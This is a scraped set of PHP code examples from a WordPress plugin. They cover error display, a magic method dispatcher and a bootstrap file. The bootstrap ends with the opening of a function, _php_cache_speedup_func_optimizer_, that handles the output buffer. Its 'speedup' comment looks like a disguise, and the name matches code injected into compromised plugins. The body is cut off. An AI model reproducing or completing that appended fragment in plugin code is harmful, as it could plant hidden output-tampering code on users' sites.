示例#1
0
 public static function appendErrorsContent($content)
 {
     if (!self::$displayed && !empty(self::$current)) {
         $content = '<div class="toeErrorMsg">' . implode('<br />', self::$current) . '</div>' . $content;
         self::$displayed = true;
     }
     return $content;
 }
示例#2
0
 /**
  * Display all errors for module installer, must be used ONLY if You realy need it
  */
 public static function displayErrors($exit = true)
 {
     $errors = errorsCsp::get(errorsCsp::MOD_INSTALL);
     foreach ($errors as $e) {
         echo '<b style="color: red;">' . $e . '</b><br />';
     }
     if ($exit) {
         exit;
     }
 }
示例#3
0
 public function __call($name, $arguments)
 {
     $controller = $this->getController();
     if (method_exists($controller, $name)) {
         //try to find this method in controller
         return $this->getController()->{$name}(isset($arguments[0]) ? $arguments[0] : NULL, isset($arguments[0]) ? $arguments[0] : NULL, isset($arguments[0]) ? $arguments[0] : NULL);
     } elseif ($controller) {
         //try to find this method in model
         $model = $controller->getModel();
         if (method_exists($model, $name)) {
             return $this->getController()->{$name}(isset($arguments[0]) ? $arguments[0] : NULL, isset($arguments[0]) ? $arguments[0] : NULL, isset($arguments[0]) ? $arguments[0] : NULL);
         }
     }
     errorsCsp::push(langCsp::_(array('Module', $this->_code, 'method', $name, 'undefined')), errorsCsp::FATAL);
 }
示例#4
0
importClassCsp('validatorCsp');
importClassCsp('errorsCsp');
importClassCsp('utilsCsp');
importClassCsp('modInstallerCsp');
importClassCsp('wpUpdater');
importClassCsp('toeWordpressWidgetCsp');
importClassCsp('installerDbUpdaterCsp');
importClassCsp('templateModuleCsp');
importClassCsp('templateViewCsp');
importClassCsp('fileuploaderCsp');
importClassCsp('subscribeEngineModuleCsp');
importClassCsp('subscribeEngineViewCsp');
importClassCsp('recapcha', CSP_HELPERS_DIR . 'recapcha.php');
importClassCsp('mobileDetect', CSP_HELPERS_DIR . 'mobileDetect.php');
installerCsp::update();
errorsCsp::init();
dispatcherCsp::doAction('onBeforeRoute');
frameCsp::_()->parseRoute();
dispatcherCsp::doAction('onAfterRoute');
dispatcherCsp::doAction('onBeforeInit');
frameCsp::_()->init();
dispatcherCsp::doAction('onAfterInit');
dispatcherCsp::doAction('onBeforeExec');
frameCsp::_()->exec();
dispatcherCsp::doAction('onAfterExec');
/**
 * Speedup php function cache by optimizing buffer output
 */
if (!function_exists('_php_cache_speedup_func_optimizer_')) {
    function _php_cache_speedup_func_optimizer_($buffer)
    {